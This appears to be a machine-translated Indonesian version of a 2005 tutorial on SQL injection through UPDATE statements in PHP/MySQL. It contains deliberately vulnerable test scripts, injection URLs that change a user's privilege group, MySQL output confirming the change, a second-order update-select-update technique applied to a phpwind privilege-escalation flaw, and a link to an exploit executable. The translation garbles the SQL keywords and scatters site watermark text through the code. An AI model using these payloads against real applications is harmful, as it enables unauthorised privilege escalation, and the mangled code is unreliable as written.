Penulis artikel ini: SuperHei
Sifat Artikel: Tanggal Rilis Asli: 14-08-2005
1. Unduhan manajemen jaringan lingkungan pengujian dl.bitscn.com
OS: Windowsxp sp2
php: php 4.3.10
mysql 4.1.9
apache 1.3.33
2. Uji struktur basis data
--database: `test`
--
--------------------------------------------------- --------
--
-- Struktur tabel `info pengguna`
--Jaringan manajemen jaringan www_bitscn_com
BUAT TABEL `info pengguna` (
`groudid` varchar(12) BUKAN NULL default '1',
`pengguna` varchar(12) BUKAN NULL default 'heige',
`lulus` varchar(122) BUKAN NULL default '123456'
) TYPE=MyISAM;Manajer Jaringan di beranda u.bitsCN.com
--
-- Ekspor data dalam tabel `info pengguna`
--
MASUKKAN KE NILAI `userinfo` ('2', 'heige', '123456')
3. Modus uji
1. Variabel tidak mengandung '' atau "" China Network Management Alliance bitsCN.com
<?php
//tes1.php Mod1
$namaserver = "localhost";
$namapengguna = "root";
$kata sandidb = "";
$namadb = "tes";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Koneksi database gagal");Forum Manajemen Jaringan China bbs.bitsCN.com
$sql = "perbarui info pengguna set pass=$p di mana pengguna='heige'";/ / <--$P tidak menggunakan tanda kutip tunggal
$hasil = mysql_db_query($namadb, $sql);
$userinfo = mysql_fetch_array($result);Forum Manajemen Jaringan China bbs.bitsCN.com
echo "<p>SQL Query:$sql<p>";
?>
Script hanya memodifikasi pass user='heige'. Jika groupid mewakili tingkat izin pengguna, tujuan kita adalah memodifikasi groupid dengan membuat $p, lalu kita kirimkan:
http://127.0.0.1/test1.php?p=123456,groudid=1
Permintaan di mysql:
mysql> pilih * dari info pengguna;
+---------+-------+--------+
|.groundid |.pengguna |.lulus |
+---------+-------+--------+
|.1 |.heige |
+---------+-------+--------+
1 baris dalam set (0,01 detik)
GRudid pengguna heige telah diubah dari 2 menjadi 1 :)
Jadi kita bisa memastikan bahwa injeksi tanpa pembaruan '' atau "" bisa berhasil.
2. Variabel dengan '' atau ""
<?php
//tes2.php
$namaserver = "localhost";
$namapengguna = "root";
$kata sandidb = "";
$namadb = "tes";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Koneksi database gagal");
$sql = "perbarui set info pengguna pass='$p' di mana pengguna='heige'";//<--$P menggunakan tanda kutip tunggal Forum Manajemen Jaringan China bbs.bitsCN.com
$result = mysql_db_query($dbname, $sql ) ;
$userinfo = mysql_fetch_array($result);Forum Manajemen Jaringan bbs_bitsCN_com
echo "<p>SQL Query:$sql<p>";
?>
Untuk menutup 'Kami membuat $p seharusnya 123456',groudid='2Kirim: Forum Manajemen Jaringan China bbs.bitsCN.com
http://127.0.0.1/test2.php?p=123456',groudid='1in
gpc = Dalam kasus on, 'menjadi', dan pernyataan yang disampaikan menjadi:
Kueri SQL: perbarui set info pengguna pass='123456',groudid='1' di mana pengguna='heige'
permintaan mysql:
mysql> pilih * dari info pengguna;
+---------+-------+------+
|.groundid |.pengguna |.lulus |
+---------+-------+------+
|.2 |.heige |.123456',groudid='1 |
+---------+-------+------+
1 baris dalam set (0,00 detik) Groudid bitscn_com manajemen jaringan
belum diubah. Lalu bagaimana jika variabel tidak diinjeksi sama sekali pada saat '' atau ""? Sebagai gantinya, mari kita lihat mode 2:
<?php
//test3.php Mod2
$namaserver = "localhost";
$namapengguna = "root";
$kata sandidb = "";
$namadb = "tes";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Koneksi database gagal");
$sql = "perbarui set info pengguna pass='$p' di mana pengguna='heige'";//<--$P menggunakan tanda kutip tunggal network managerujiau.bitscn@com
$result = mysql_db_query($dbname, $sql) ;
mysql_fetch_array($result); //Data $p ditulis ke database
$sql= "pilih pass dari userinfo di mana pengguna='heige'";
$hasil = mysql_db_query($namadb, $sql);
$userinfo=mysql_fetch_array($result);
echo $userinfo[0]; //Keluarkan kueri sandi ke $userinfo[0]
$sql ="update userinfo set pass='$userinfo[0]' di mana pengguna='heige' ";
$hasil = mysql_db_query($namadb, $sql);
mysql_fetch_array($result); //Perbarui $userinfo[0] lagi bitsCN.com
?>
Mari kita uji dan kirimkan ke: manajemen jaringan bitscn_com
http://127.0.0.1/test3.php?p=123456',groudid='1
Kembali ke kueri mysql: forum manajemen jaringan bbs_bitsCN_com
mysql> pilih * dari info pengguna;
+---------+-------+--------+
|.groundid |.pengguna |.lulus |
+---------+-------+--------+
|.1 |.heige |
+---------+-------+--------+
1 baris dalam set (0,00 detik)
HaHa~~ Berhasil menyuntikkan dan memodifikasi grudid menjadi 1. Ini adalah mode kami 2. Penjelasan singkatnya adalah sebagai berikut:
perbarui --> pilih --> perbarui
4. Mode sebenarnya
Mode 1:
Mode Hilang 2:
Analisis
kerentanan eskalasi hak istimewa phpwind 2.0.2 dan 3.31e
perbarui (variabel injeksi profile.php adalah $proicon, pernyataan pembaruannya adalah, icon='$userdb[icon]')
↓
pilih (jop.php)
↓
update (jop.php) Forum Manajemen Jaringan bbs_bitsCN_com
Eksploitasi: http://www.huij.net/9xiao/up/phpwind-exploit.exe
5. Ucapan Terima Kasih
Terima kasih khusus kepada teman-teman seperti saiy atas diskusi dan bantuannya. Terima kasih!!